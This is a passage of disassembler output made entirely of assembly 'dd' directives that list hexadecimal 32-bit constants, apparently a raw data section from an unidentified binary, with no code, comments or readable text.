		dd 0BB1500E9h, 16A132BDh, 418CE967h, 0AF0F66A9h, 9C51D0C8h
		dd 1987C4C9h, 812D2813h, 5D646C12h, 0A31E9828h,	54296857h
		dd 4B00311Bh, 0BF029A12h, 6E2502ADh, 4FC5E94Ch,	163CC7A4h
		dd 46BF0149h, 1FA31FE4h, 0FE010A0Ch, 1B0820C1h,	0F234335Fh
		dd 35A41D9Ch, 53A86841h, 36C35138h, 45B0A23Ah, 80AEDC1h
		dd 0BC29AE68h, 180DE963h, 24D5F78Bh, 2AF64504h,	82286896h
		dd 5DC44C94h, 47067AC0h, 59180FEBh, 940E821h, 53E2D1C2h
		dd 0E1555228h, 0C1794C0Bh, 11320B62h, 722D04AFh, 0EEBA0CD8h
		dd 4D072B04h, 0EFC2EA31h, 81CBE887h, 0CA280FF7h, 1764B8C4h
		dd 6445B522h, 8416D1Fh,	0B09DD024h, 54D3FE07h, 64A9D114h
		dd 0C201C6D0h, 8EAEA170h, 0A20D27F7h, 66513A13h, 0E7895785h
		dd 0A816E208h, 0A0DAA667h, 1F15059Bh, 15E9088Dh, 581E1F78h
		dd 0A8DE9555h, 3F402F48h, 0F55AD4CAh, 0B420CC00h, 0D6EB817Bh
		dd 7A762178h, 1E8EF306h, 0F4187869h, 1F3EF0CDh,	0C05BDF89h
		dd 641376E7h, 0C1774F1Ch, 0F820C4B0h, 0C8281260h, 16C58859h
		dd 0EBA90B60h, 76040D38h, 3CCB073Dh, 31216043h,	24C2E94Bh
		dd 0C51C01BEh, 4D28358h, 24600D8Dh, 0CD73E102h,	5EE3E9C3h
		dd 0DEC96703h, 0B01A793Fh, 6D31EC1h, 0D2E9A287h, 881C2235h
		dd 75FF51D0h, 9E33CF7Ch, 0B9CA7B5Ah, 64A94D45h,	69C46F68h
		dd 4C67F357h, 1B0B2431h
		dd 3F0C6861h, 778A073h,	9E25E1Ah, 343B898Bh, 5023904Dh
		dd 8644512Fh, 53C409F5h, 0D2824EADh, 0D8A7D9B5h, 0E08A74C1h
		dd 70168B4h, 586C6109h,	0F1CB4D95h, 4555888Bh, 72B36BC7h
		dd 534025CFh, 610E6BAh,	0B4A41C87h, 8F5E910h, 0F1C28000h
		dd 0E2C0D2F6h, 0EA050478h, 7F81E971h, 13012995h, 4F385007h
		dd 28FC688h, 1274EC95h,	686643CDh, 0C8CFA4A3h, 0A8206DD6h
		dd 2614CA27h, 9489F7D3h, 0E8C16281h, 697A9CC0h,	88C98691h
		dd 50163460h, 0C0833871h, 9E36C4DAh, 105C2C77h,	0EF810EF7h
		dd 3F62E73Bh, 6131DF92h, 0BD353E8h, 5AD62991h, 55F54A00h
		dd 0DFFE68FBh, 52F5CEB2h, 14787377h, 6B94A390h,	9179D347h
		dd 0A404CE00h, 75405C5Eh, 50C6905Eh, 65842402h,	44EC99DBh
		dd 0D58CC80Bh, 318984F0h, 723CABDAh, 0CD8792CAh, 903C595h
		dd 3B165368h, 5740224Bh, 0F919BF54h, 27683B9Ch,	389D8249h
		dd 258A72D3h, 573306BEh, 87FB29D1h, 0C7015E20h,	126A0583h
		dd 34224679h, 6081C19Dh, 0F18453D4h, 385D6FB9h,	55DCD87Ah
		dd 0DC31F754h, 0E845014h, 15E96920h, 68E08343h,	33AB6299h
		dd 8B9C23C5h, 846734C5h, 940B75BFh, 44E283F4h, 2754F534h
		dd 3D09FAB1h, 0F01C9C03h, 54F3CEBh, 0E9FFEF83h,	184DA1AAh
		dd 0D5522E5h, 272368DAh, 0CB8A2F04h, 0C40AC267h, 20349254h
		dd 9F900CC2h, 0C588CD70h, 0E54F00A6h, 0AB685F50h, 905BDFCAh
		dd 3EBB1702h, 44A400Eh,	26AABB8Ah, 0FCFFA8F9h, 6EED69C9h
		dd 0C3006D67h, 413756Bh, 2668EC01h, 62663A03h, 94581CE9h
		dd 425A0CB4h, 0D1234226h, 35680429h, 46D28D2Fh,	296951E8h
		dd 104B0C11h, 30E07FD1h, 0B25EE437h, 0C213FE86h, 3C08DAF6h
		dd 0E9F90202h, 3F44FDB4h, 41B47AECh, 0EA207A6Dh, 53A88D1h
		dd 2DC0880h, 66D4F65Bh,	5D63B353h, 30436FCFh, 0F89A58E7h
		dd 0E984D059h, 0A4CD7796h, 8265D130h, 0B02C2745h, 51A0772Ah
		dd 0DC62323Eh, 73109Ah,	415DBD55h, 292C770Fh, 88ECAAEEh
		dd 0CCA79BBAh, 1A2D33Ah, 54055D0Bh, 0ED7F985Ch,	73A02858h
		dd 784148B0h, 8757F468h, 894C226h, 93072BC9h, 893BDBF7h
		dd 0BB754095h, 824D1405h, 3406EF45h, 0C268A1Eh,	2251580Bh
		dd 68CA0027h, 0C129F606h, 836A970Ch, 8F24BC75h,	0BF0C2033h
		dd 821CE34h, 63439E9h, 2DD802F7h, 7B527FE8h, 3DC4FC42h
		dd 241E925h, 0E25159B5h, 72786A10h, 5A74FCF2h, 3B673618h
		dd 3583E924h, 0D01311B4h, 0B2FD9E28h, 895C50F7h, 673E1676h
		dd 20F0313h, 26905325h,	0D492D6Ah, 84695104h, 4B5EE977h
		dd 77D0F707h, 3D9A1982h, 7804C841h, 1255C82Eh, 0C13E80C7h
		dd 23F007E5h, 805FFFCAh, 3298FBFh, 6727A40Bh, 0B39342D9h
		dd 0E9244302h, 122D28E5h, 0D1198053h, 0B30A9012h, 20462673h
		dd 215B0B0Ch, 8E5FF9h, 0E18951E3h, 0D1EC31ABh, 140114ADh
		dd 5608931Eh, 38572C7Fh, 0F67A65D3h, 80A09CF5h,	0CB8E8264h
		dd 7FDAF801h, 443FF35Fh, 0AD7C53F6h, 82AD59E9h,	762D683Ah
		dd 50F9D519h, 0DEEB9BEh, 0A972022Ch, 5B702903h,	0E5F1A216h
		dd 1F1A095h, 77C879ECh,	340F89E9h, 8103CA23h, 2F5E8FEAh
		dd 7866EA1Dh, 0DDBB0921h, 4105AE53h, 0F7DC4708h, 61FB73DAh
		dd 2E5D702h, 610A9742h,	1AC0DDACh, 7FE91474h, 48B9A59h
		dd 7F80D06Ah, 17803A22h, 42E230CEh, 4001E87Fh, 0D439C6ECh
		dd 52102893h, 6F445E16h, 0EC47537Fh, 58E303B2h,	24F0F48Ch
		dd 80E82880h, 883C132Ch, 0CD5FB5C6h, 1F48EDB5h,	0F77553C7h
		dd 8BA5207h, 0A43F2663h, 0AC0256F4h, 0E9D5F716h, 5905492Bh
		dd 3D188DADh, 754AC668h, 5A974FCCh, 6A3247Eh, 1212EEE3h
		dd 5DC1382Eh, 45E6A71Eh, 8802B69Ch, 6A085AF3h, 5DAE40A7h
		dd 0FD442DE9h, 14402694h, 2A9E955Ah, 793E92Eh, 4AEAD187h
		dd 3D58EC8Fh, 6442FEF7h, 0CC66CB74h, 300002D7h,	0DDF658E5h
		dd 59E9C5FEh, 0BE003106h, 28D66A7Bh, 0F600814Eh, 1AF141A1h
		dd 4AE9CE31h, 88F11079h, 83887A53h, 534B8716h, 0C0EBE0C5h
		dd 2C0578EDh, 0A083EE3Ch, 41ACB9CCh, 14548E9h, 85DF4DB1h
		dd 0A9B924F0h, 202A3E11h, 7DB34A6Bh, 0D6898514h, 1EC30091h
		dd 1592D3Fh, 81CA98F3h,	0DA285E08h, 0A9468F0h, 65A5B6B1h
		dd 0A2BD003Fh, 0F770412Ah, 7BADD48h, 491B6603h,	746DE83h
		dd 74CE8106h, 60344720h, 2BC145C6h, 0F509C018h,	17A7E57Ch
		dd 7A5C02h, 0F053ED7Eh,	0FD0C01CEh, 6E3418E9h, 93E150C1h
		dd 0C4E3DBB1h, 3B70E4FAh, 51036084h, 7A6B6856h,	6609EBBh
		dd 0F37C9FF6h, 34030C0Fh, 89355315h, 4941F9F1h,	0EC42D240h
		dd 1AE03E4h, 324EE9CBh,	0F53E4C60h, 12367537h, 1514512h
		dd 9712587h, 0CEDF81Fh,	802DB303h, 405DE989h, 169FBD12h
		dd 9CD296Eh, 40463BCEh,	48A34AE7h, 0E7487390h, 0DACE2E95h
		dd 3D2C046Fh, 1ED909A4h, 0D728B747h, 0BA88808Eh, 480042A1h
		dd 5EAC16Ch, 0BD9F281h,	525D6706h, 6BAF0220h, 45BB2137h
		dd 74D6388h, 8230FF5Ch,	80EAC88Ch, 83699472h, 7E040013h
		dd 136A661h, 0E6CA814Ah, 306E2D75h, 0E1E8D491h,	0C3E91F0Ch
		dd 0A20130F1h, 6674AF83h, 80E7601Dh, 0B472B1E5h, 166422Dh
		dd 19352ED2h, 0BE03F9E5h, 82F8C280h, 49A451D3h,	808D6F24h
		dd 551568A3h, 280B02B3h, 0D604B8C8h, 0F0B3A61Ch, 11796F96h
		dd 2DBA16F0h, 81635F8Dh, 9775C3Ch, 43E95F5Bh, 0BD288E50h
		dd 0EE5A1002h, 54561704h, 51C61382h, 54659CE0h,	8816D7B4h
		dd 0A86CD06Ah, 6F2C935Bh, 0D71F3D41h, 213F4842h, 4329C2C1h
		dd 80BE0152h, 0F8289BEFh, 0ADD2BE5Bh, 59BE0399h, 582EBA52h
		dd 0F5BA0405h, 832F3E6Ah, 6FA0B54Ah, 0E54BD163h, 0AF40FCC7h
		dd 982B880Ah, 4E4D48DBh, 0A5C30700h, 5DEA299Fh,	1598FAE6h
		dd 5A3C710Bh, 0F4228537h, 0CF21A14Ah, 0CC77D42h, 4D58A6A4h
		dd 0FE5CC542h, 816A1308h, 8860C380h, 5B7924DEh,	646BFDFDh
		dd 7B912CA0h, 0BF2CDA17h, 0E680C50h, 906C6037h,	0C975D25Eh
		dd 54FD21A5h, 14B8578h,	0B964A99Dh, 35AC400Bh, 6F02B574h
		dd 1B04472Dh, 5CF28137h, 0E47167A5h, 5476E8EBh,	404E0FC7h
		dd 18B9235h, 0FC80E02h,	8F03E708h, 0D97EFD68h, 0FA514F21h
		dd 0E67D5919h, 4739884h, 0EFA05BE9h, 16C75BFh, 6F2D6582h
		dd 0FC34561Bh, 609E403Ah, 0FEAE5BEAh, 5A0CEE5h,	0A3989733h
		dd 7301E12Dh, 6852659Ah, 523C1D2Bh, 0FB18EDC1h,	30CAE117h
		dd 0AD80705Eh, 401E9051h, 0EE0B8002h, 2885311h,	34D47Ch
		dd 0F65BB252h, 0EA80D20Fh, 5AD5E587h, 59661BC0h, 87224AE9h
		dd 0C67A538Fh, 27D80A46h, 89F21853h, 7AA9DFBh, 5E393242h
		dd 0B5511616h, 0F716DEh, 80C1B362h, 87B35F3h, 0F6255B76h
		dd 0C62FC1D8h, 0E9F580EFh, 0A4074D4Dh, 7CE03325h, 0D42D153Ah
		dd 90B59448h, 2CEA025Bh, 5E9426Ch, 70289869h, 0EB3D802Ch
		dd 0E329614h, 3DF5A88Ch, 30FD6208h, 29B2EB3Fh, 89345BDAh
		dd 0EF5E2ED7h, 5575173Bh, 0DA02D08Dh, 322B59FBh, 71EA0512h
		dd 2C353860h, 0A6BEDE3Dh, 549B062Dh, 3712C9B5h,	0D830AC00h
		dd 25F06648h, 44B16242h, 0FDF5B894h, 15A6F38h, 8AF181FBh
		dd 0C81694EBh, 6DBF12D5h, 2F029992h, 0FD17D366h, 49FAC364h
		dd 3C42E883h, 24496814h, 6326247Ah, 3ED1835Fh, 9ED23CB7h
		dd 0D0C53858h, 0FEB32191h, 0EA27404Ah, 5E537B2Dh, 26F20126h
		dd 6CF30820h, 1687C8ACh
		dd 5257885Ch, 0BA26C55Eh, 25DDB351h, 9241A65h, 0E71D2F18h
		dd 99741636h, 0E3380B0Ch, 0C0DF3E24h, 72694116h, 390C3761h
		dd 0E9DD541Dh, 4422D4F1h, 0F431CC93h, 0CC20F06Bh, 4BFD72ECh
		dd 8A73162Ah, 0C85CCB75h, 803307D7h, 0D098D001h, 0CB58390Fh
		dd 5DE8000Eh, 4F95685Ah, 3D633154h, 0C50439h, 0CEB66E81h
		dd 0D857017h, 31249D91h, 6F0842D9h, 15C1347h, 756AAF7Fh
		dd 20463A70h, 2D7D2C07h, 189B5EF7h, 7269A5F1h, 7D072EA8h
		dd 4F999C01h, 4C8252E6h, 632B74D0h, 87F8DCE2h, 217F61Dh
		dd 0C2E910C4h, 41681490h, 201E926Eh, 0B80131A5h, 328E3860h
		dd 0B805C2Dh, 5558C289h, 2302B468h, 0C4E96F95h,	893D545Dh
		dd 0FA6E02B6h, 7965758h, 4DF04265h, 0D1E9CFE0h,	426EB6E3h
		dd 1B408156h, 181E5C35h, 0E946587Ah, 9B24C4EEh,	6B1927C6h
		dd 3E58F129h, 0EB084F53h, 81013D44h, 2E62D5E6h,	8579F11Bh
		dd 1D116831h, 0FBF1FCCh, 23DF2631h, 685FF900h, 859448A6h
		dd 813CF161h, 95CCC720h, 2D689881h, 0BF73363h, 0FE7EC1B8h
		dd 58C7017Ch, 3914E95Eh, 0D1C2029Dh, 5E457325h,	80AF9633h
		dd 5FFA31ACh, 2848051Fh, 2B120692h, 1208BE10h, 0B08F829h
		dd 43660E6Dh, 0BE86564Eh, 61746445h, 0C26BD99Ch, 0C134E8FDh
		dd 0F683C0F3h, 73165CA4h, 29842D07h, 4D506B53h,	1474AC26h
		dd 705F001h, 268A6B50h,	1BFB922h, 9A06FAC5h, 5E712446h
		dd 30E46810h, 159AA48h,	5FFB247Eh, 0F57E0034h, 0F3293D8Ch
		dd 0EA4F1698h, 0D4E9CAD3h, 3B1C1D1h, 0C93C70DDh, 96945A2Dh
		dd 1F0F1990h, 81651973h, 1D0818CBh, 5E71E9C8h, 0F8FE4413h
		dd 0B81F8CCAh, 7A37E574h, 3CC3E14h, 6CD72AE9h, 0AF681D92h
		dd 87242519h, 2961E079h, 175FFE24h, 837A5D02h, 17914317h
		dd 0C08DE904h, 26EAB8D0h, 1791C14h, 0B9014EF1h,	0C1465754h
		dd 0F7E402D9h, 440F31DCh, 2E4026ECh, 52CB9628h,	5B16CF59h
		dd 245A8DD1h, 714A94EDh, 887607CBh, 0F780C2A2h,	7D8E4D0h
		dd 6C02E525h, 0F64FE375h, 66031C55h, 656A7EB0h,	0BD03476Fh
		dd 0DA9AE298h, 274E7089h, 0ADC6EF88h, 664CF8E0h, 4AC61349h
		dd 8E570CDh, 0CD83172Fh, 10E522B6h, 31014DB3h, 0F8015AD7h
		dd 2E83765Fh, 0ACBEFE59h, 0EB1F37C3h, 5A4C1AA7h, 0ACE925FDh
		dd 0CE3C0409h, 66D2534Bh, 125D525Bh, 951C5F09h,	92D2D52h
		dd 1AC3A406h, 6EC1F70Dh, 5ED28A30h, 0F2883745h,	55481B34h
		dd 5B48DF29h, 58B50074h, 0E946363Ah, 63E4D66h, 0CB30F92Dh
		dd 6C2EC5E1h, 0C9006E7Eh, 0F61539Eh, 33BE6BE9h,	0FD7CA5C6h
		dd 3B671359h, 479B1045h, 8E0C10Ah, 30A30F8h, 6216682Dh
		dd 0E8D2405Eh, 7BBACA3Ch, 0DFE890B2h, 99C90C96h, 0E972603Eh
		dd 15B572F3h, 0D15C12BDh, 9F30FCC9h, 0FA52F827h, 0B601505h
		dd 833E01B7h, 3A1A9D76h, 51F43FBh, 8FBFB920h, 0A9A9C831h
		dd 0E6BB83E0h, 1C224A0Fh, 0A4AB6B57h, 0D987897Ch, 0A1902484h
		dd 0A3CF81h, 874BBB4Fh,	57D3F7DFh, 5B5F5316h, 0FC781600h
		dd 9031A0AFh, 0EA7D90DEh, 0B0644C10h, 78070528h, 0E9D80C5Fh
		dd 5356C916h, 1ADA5463h, 5C1070FEh, 9F39B7F3h, 522AC39Fh
		dd 51D74E1Ch, 0F920D4C9h, 737947BEh, 0CE814B01h, 61E31C9Bh
		dd 13C34A30h, 117894Ch,	18785869h, 5EF8DB45h, 60605D70h
		dd 685355B6h, 64050116h, 0EBC15B2Eh, 1B7B2006h,	3DB6E407h
		dd 89C9DD89h, 20EE7AA6h, 3E9869C9h, 7925D3A4h, 0C07AA058h
		dd 281E711Ah, 82F1DE01h, 0C5A80408h, 22A43EACh,	0D95408F3h
		dd 0EF26DA23h, 0F91B313h, 0ED11C05Bh, 3482E1C3h, 988933h
		dd 5FB0FBE6h, 0A0AB7E5Dh, 0B523DE68h, 505F7618h, 0DF09567Ch
		dd 0E0340E4Fh, 0F7D4BF4h, 0F08976FCh, 32902D20h, 3B9042F2h
		dd 6029E64Bh, 5BA21FE7h, 0C0EB0243h, 52F8182Dh,	0A9268F01h
		dd 0E9D9897Ch, 82EDA9F6h, 492405EEh, 47F5DFC5h,	213EA86Ch
		dd 86A85DFEh, 0B302B913h, 62CF4B7Ch, 991D229h, 8251BFCAh
		dd 3DD8103Ch, 948B5D27h, 0FDA69159h, 51354203h,	0E9FAC830h
		dd 2516942Eh, 0E4273EEDh, 4AFA91BDh, 53DA174Ah,	3E7A3242h
		dd 45001DF0h, 814AEA87h, 14406AE2h, 0BD42540Ch,	0BF222801h
		dd 2E91E917h, 885BAE03h, 0A098C2EEh, 5D72BDD6h,	0BF77004Dh
		dd 0A280BEB8h, 60F5EF01h, 631D4F8Bh, 0E787472Ch, 67A17E1Fh
		dd 4DA48EE9h, 0A8454C6h, 20B8376h, 98585450h, 4DB8E0h
		dd 2D7BBB48h, 6ADC16F9h, 8100B69Eh, 0F20A1EF1h,	5E9EC1Bh
		dd 7E1D48AAh, 1214C429h, 8445A2A1h, 86E07CE9h, 9BC50280h
		dd 0A9B75351h, 3FA2E61h, 6E1A395Ah, 28CDF580h, 525159EBh
		dd 327B227h, 0FBC5FEACh, 9BC0E3E5h, 22304C05h, 0D29C2A6Fh
		dd 2ED4C796h, 4F510BBh,	16FB79CEh, 0C95DE483h, 287875B2h
		dd 12DF3D9Eh, 0F5EA2905h, 28B7D73h, 2D501F42h, 7F187021h
		dd 0AC1991FCh, 2B8B2744h, 822F995Bh, 0D154EB35h, 0D494379Bh
		dd 6208E245h, 942C1894h, 0F93341D6h, 0E7E7D46h,	96166768h
		dd 3EED6FF4h, 2A5CC828h, 0A30402C7h, 35AE27E9h,	13C13148h
		dd 0A1CE760Dh, 4630680Eh, 44E659CBh, 53B73505h,	878075ABh
		dd 0C7D3E905h, 74C00943h, 0B129B01Dh, 8651B839h, 66C9805Fh
		dd 1E04761Ch, 7DFE82F1h, 1BEEC19Ch, 8A9EC4CBh, 82D21842h
		dd 8CB1A4FBh, 6A9D305Eh, 0C2B393BDh, 0E91ACB5Dh, 3938BDD1h
		dd 8F3280D2h, 1E5DD405h, 69E9088Ah, 70082861h, 98C35EF7h
		dd 5C9C9196h, 4BC7BE1Eh, 68A22E71h, 31B5D908h, 9353588Dh
		dd 0D456543Bh, 2B344F16h, 55C3BCD4h, 0EADF0527h, 0C056D369h
		dd 842C68Ch, 292EF201h,	5D0E9D6h, 0B6E7F997h, 0C71B8414h
		dd 997665F3h, 0ECE40B77h, 153CBD79h, 8BA47471h,	919258D2h
		dd 0C3656965h, 253EC6C9h, 586C0AE9h, 1B685212h,	8E875850h
		dd 1B817583h, 4EC70AF6h, 0A65D53D2h, 0F4C72A3Dh, 163C14BEh
		dd 0E4F2FDF2h, 46C9680Bh, 3BE95718h, 5120C360h,	74F6C588h
		dd 59E80FD5h, 0DEE9140Ch, 60DE1B32h, 2F9E7B52h,	72E92BB8h
		dd 4B54FB2h, 52AD6Dh, 7785C7B3h, 0EFFA5FABh, 0A4124760h
		dd 0B0BA0156h, 594B71Dh, 0BB927A93h, 3D6E23F1h,	64B7A08h
		dd 2C62DAD7h, 0EA6DBF7h, 0AFCB734Eh, 0D0F69778h, 15E9481Dh
		dd 40D0EAADh, 72166115h, 5EDECAAh, 2E95575Fh, 0C572A85Eh
		dd 2EF1E0E9h, 899F3372h, 0FFD1786Bh, 88A3B780h,	1A865BFEh
		dd 8D0F6C6h, 0B8B6DA8Ah, 0B2CF013h, 49A76330h, 0DF4BFE46h
		dd 0F901EF20h, 0DFD3BA52h, 46C1DDB5h, 0AC482026h, 901C05Ch
		dd 0CC840FC9h, 0D70A3259h, 18563281h, 0B900510Ch, 19530CF2h
		dd 0AE18149h, 2A26354Eh, 145800EAh, 0D9F7134Ah,	19CD1CC1h
		dd 53600D3Ch, 30012444h, 94324FDh, 0A16A4F29h, 574494F1h
		dd 0EA8791F0h, 84554E0Fh, 5F0705E6h, 0E94BC129h, 0E4A1C64Dh
		dd 82D1F7D9h, 5B6A8B26h, 31F34170h, 22B83500h, 0A003D45Eh
		dd 0D1D8F705h, 0D1DC0A48h, 0B2B8D831h, 8AD56849h, 0CF7B101Eh
		dd 0EABA805Fh, 0E2260A4Dh, 0C2073C7Ch, 29517B73h, 632A5EF2h
		dd 6E45A4Fh, 0F38C201h,	7CB63C49h, 1AD8A1AFh, 2788F64h
		dd 0DBB3024h, 535F5DC4h, 89B45EAh, 0C7AE80CFh, 0E778C0B4h
		dd 8D64F7ECh, 0C7835712h, 0F3CE92F9h, 0F03001ECh, 6B2209E9h
		dd 0D8B25B65h, 49538A96h, 5EF084AAh, 0B21ACB4h,	2CD5E9E8h
		dd 8E3C2572h, 3C01AC80h, 0D186FE07h, 0CF08CA36h, 0C149CB12h
		dd 40BEC104h, 0E06DD2C3h
		dd 0E7AA92F9h, 2A1E528Ch, 570FF78Bh, 66265C64h,	909508C8h
		dd 27A52709h, 3DD216B9h, 0BA8D1015h, 5300E648h,	7234C7BBh
		dd 0CB0F810Eh, 1DF269A7h, 372CE380h, 0EDC10BB4h, 6F31430h
		dd 8550191Ah, 0C0029E43h, 0E944315Bh, 34574E3h,	0C230D7B0h
		dd 6A168CC9h, 0EB2B077h, 0E37A3Ah, 28811A9Dh, 0AC511DB8h
		dd 0D8297A16h, 0C0DA7D1h, 5DE5D02h, 0DDBF5700h,	243C2769h
		dd 1A69FB29h, 0B0986EBh, 0CE827A49h, 0F345F06h,	65AC0B63h
		dd 4942108Bh, 0C8A717D1h, 0D315E6DDh, 5C91E310h, 0A97E898Dh
		dd 84D43217h, 7BBC497Ch, 6517C4h, 6678BCB9h, 0B6BA9204h
		dd 0C6016378h, 7CB48000h, 226830F8h, 6929B638h,	0E92DB3D2h
		dd 0B9058143h, 0B12403FCh, 0FE31528Fh, 9F9D4100h, 19A02D40h
		dd 572C402h, 873211BDh,	7CAF8A5h, 0C0AEE909h, 26478FCBh
		dd 795820h, 3E552A09h, 0E9F45729h, 8B34A233h, 0E4C6BCE0h
		dd 75ED016Bh, 29121455h, 0DE620FDh, 452C231Fh, 0CD98EE81h
		dd 177E3317h, 0C32E44C0h, 90D41441h, 3CC784EBh,	51783109h
		dd 8554EA3Ch, 0F2015CB0h, 4D6F6583h, 0D6015C20h, 3113A6F7h
		dd 0F5F842FEh, 681293D8h, 0A9A30946h, 0E921A0D3h, 29B5DDE2h
		dd 0A37098C7h, 5A5480CDh, 2D4A5178h, 63F2D490h,	1967FE2Fh
		dd 0A0D33158h, 0B8407EC6h, 0F9E9DE01h, 38279572h, 3C1E005Ch
		dd 2CC1D509h, 220B62E5h, 0E9949A50h, 8DAB5831h,	8C099C48h
		dd 5928013Ah, 5F882808h, 50092043h, 89BDD488h, 497B7903h
		dd 34C05B0Fh, 2CE95A87h, 0F435434Bh, 0D77A4245h, 32C1DEDh
		dd 37BD9351h, 0E85DB450h, 99155D47h, 1FAAC30h, 36136B68h
		dd 6A420070h, 0EE836CA6h, 85F75001h, 0E7594A2Eh, 0B86110C7h
		dd 88A7B100h, 0C62859C8h, 0B62C3790h, 0BA32C579h, 0BAC1A5B2h
		dd 4FB74C50h, 31E9FD8Ch, 5C1C1EC0h, 3258DD55h, 57CD027Ah
		dd 80113C72h, 504BD9C2h, 1314044h, 0F0E9EF09h, 2CD75136h
		dd 41EC42D0h, 0A9E96AA1h, 0B8716B4Dh, 5F28CB19h, 0D24E994h
		dd 58546233h, 63FBE6C0h, 8313C205h, 0DA8001C1h,	0E23F2F39h
		dd 9F025DE9h, 50C32800h, 0C480C5B4h, 3222794Ch,	0C2DD975Fh
		dd 46D42B95h, 821F4B81h, 9CE0B72Dh, 6795696Dh, 15403B9Ch
		dd 9D450940h, 2588D18Fh, 0DDBACA28h, 8F59B781h,	6033B029h
		dd 0EFC058C7h, 0D7F60C03h, 99A65250h, 9BE28825h, 30F2D0A6h
		dd 1042DDD4h, 0C32D0314h, 0DF1BF16Fh, 78895C6Ah, 0AAC279BAh
		dd 1A9A8649h, 0BD6BBCE9h, 5CC2B9E8h, 1796BB80h,	1F73EC16h
		dd 18050B1Ah, 3AC962D2h, 0AD2860ABh, 2CD85B31h,	0CD7EDDAh
		dd 0E912DAE7h, 0BBC08151h, 48B33065h, 0CBF1AF97h, 4130E2E2h
		dd 46605F93h, 0D8780BC0h, 0B4012102h, 3973E0E9h, 16F7581Dh
		dd 0A8300638h, 484AE956h, 0CDEC00Ah, 0F0BB3772h, 9A92055Fh
		dd 0CEC5685Eh, 769A2512h, 0AB68BC01h, 6653B2Ah,	4DFC6701h
		dd 832B3447h, 0F48F9E5h, 69AB0160h, 0D7011C4Eh,	8008D31h
		dd 0BF33EDE9h, 9D2DA194h, 2B7E3AE1h, 0B268D3EDh, 345A3A42h
		dd 29CFC9EFh, 3B421A7Ah, 83F8C1D5h, 9F667CFEh, 8D74D65Ch
		dd 1BDEF841h, 65699A94h, 1D602D97h, 0B3C06923h,	1A196CC1h
		dd 0DB295CD8h, 5FFA3E73h, 302DCA02h, 157493Fh, 622868FFh
		dd 0D1CC332Ah, 0D587DFF2h, 331798FAh, 1A59BB54h, 8B98B61Dh
		dd 5BF7C4D7h, 5B080B32h, 0F3B1F3F8h, 58C21925h,	0ACC32C3Eh
		dd 642496B4h, 0EE801A00h, 95CEFE14h, 716E143h, 10A0E1E9h
		dd 43D1605Fh, 0F5CF274Ah, 77012D05h, 71C20B8Ah,	5B078005h
		dd 52FE6859h, 16706E19h, 143FA796h, 0E9841CB5h,	7F5FF138h
		dd 1C5AF32Ch, 0CE8EC380h, 2134CEBh, 968E93Eh, 5551C2FCh
		dd 91280F0h, 0A7E9412Eh, 585BA0D8h, 0A4BE1BCCh,	16EB9A9Bh
		dd 2E5C1h, 86E1C5F8h, 2904255Ah, 54E95DEEh, 8A25D1B8h
		dd 882CCB78h, 736BF95Ch, 5D0E0846h, 0EE8D541Dh,	462B62D5h
		dd 10B54386h, 0B2BC5D62h, 0D6F70006h, 4FB8464Eh, 0A8304D41h
		dd 6C767023h, 0B8293625h, 9571E800h, 0DD8F756h,	933E0310h
		dd 2645E914h, 25A2224Bh, 0D54A0691h, 0B4B5F811h, 276BC6h
		dd 0F6803DB6h, 8BF40852h, 6121144Bh, 0BE84EA33h, 0C11C4709h
		dd 7BB4DB5Dh, 8EEB973Ch, 20915C55h, 3613F102h, 10F60ADh
		dd 32CBEC2Bh, 712800CAh, 0DA871DEAh, 0E912D3F7h, 7FE4C912h
		dd 21685841h, 0BA3212Eh, 44712F5Eh, 9448DA89h, 0C8852C12h
		dd 0A9871ADAh, 9791D189h, 166B3256h, 0DEB24807h, 2FA4E789h
		dd 5AC08C56h, 2F5C351Dh, 66CC231Eh, 0DF572D37h,	89871761h
		dd 7F213C83h, 1BC6C94Eh, 41CD950Eh, 51E6CA09h, 27284A63h
		dd 49C31868h, 6F91511Eh, 0FD930AD3h, 0B050D0D8h, 4AA0901Ah
		dd 7D1BCBF7h, 0FB66EB20h, 40244160h, 9790293Eh,	50165F4Ch
		dd 28F319EFh, 257DDF69h, 0C71BA02Ah, 4C7C2F95h,	0E82D8C28h
		dd 77B7513h, 0C20C7D29h, 1C5F2141h, 0BF868639h,	0CF0CD5B3h
		dd 7EEB3E62h, 6F50417Dh, 30F63D04h, 2ECC042h, 59841h, 247967BEh
		dd 0F0B43FDh, 0BCE2869Dh, 357470E9h, 257EBA0Eh,	328454BFh
		dd 0AE5184C0h, 6962C82Fh, 8EC5919h, 0CA08004h, 5D078322h
		dd 8103E1C1h, 19105FF0h, 607B90ECh, 18EFD54Ah, 1716937h
		dd 252CCF7Dh, 38A4DCC4h, 3B75FE02h, 88186010h, 0AF8261h
		dd 5712B7F5h, 0F9460851h, 506E228h, 59A3A45Ch, 41B7025Eh
		dd 0C70128AEh, 2A08B788h, 0E9520B58h, 0AE66FFD4h, 0EEF009Fh
		dd 5F54556Dh, 0E5608331h, 4BEC0805h, 0E3E0D6E9h, 0DD6CE49h
		dd 29917E21h, 3A7121C8h, 0FB58C209h, 29682C57h,	8C559241h
		dd 419CE8AEh, 0B0034444h, 6E0C00Ah, 98F8050Ch, 0DDB6B748h
		dd 0F97C19Eh, 805BCB81h, 0F7FE39DCh, 0CAC20A94h, 0BF1CE236h
		dd 0C6EF556Fh, 0B8812A99h, 0B47BF272h, 3DBD0158h, 2142C42Fh
		dd 7042961Bh, 4EDD4BCCh, 0C18D8852h, 0A703E63Dh, 51700148h
		dd 0D3415955h, 3766D946h, 6ED72079h, 3EA7B138h,	2C598ECAh
		dd 8BD00B21h, 262B722Bh, 643E22AEh, 46C945Bh, 0A9FE7D23h
		dd 4AE2D25Bh, 313C6882h, 4B9F1857h, 574F011Ch, 61B7EA81h
		dd 8B60E23Ah, 66D85B6Dh, 9666E0Ch, 0A1E94760h, 7E35B620h
		dd 0B5904902h, 0CC0BCC91h, 0C9E4F157h, 0B1683A30h, 88102E4Ch
		dd 0EAB32F14h, 0A4B65FE7h, 5FDB593h, 664376F1h,	77C38E6Fh
		dd 16D15AFBh, 4B9F265Ch, 0B5929BF8h, 742A6095h,	3EB4751Bh
		dd 0E684B3BDh, 0B4C5317Dh, 7E53F361h, 98E34BE6h, 1718E64Bh
		dd 91F45BE9h, 0BF7FEECDh, 810A0191h, 10E8C189h,	0F8C9C831h
		dd 90F8C7D1h, 27FAACB7h, 4F1A2C68h, 80422C61h, 1ACEBDAFh
		dd 0B54D4802h, 0F0F43691h, 5BFB732h, 0C3F8B852h, 2BA9BB4Ch
		dd 5726C0CAh, 0ADE942B3h, 8588248h, 7FA2F54Bh, 0C2C580C5h
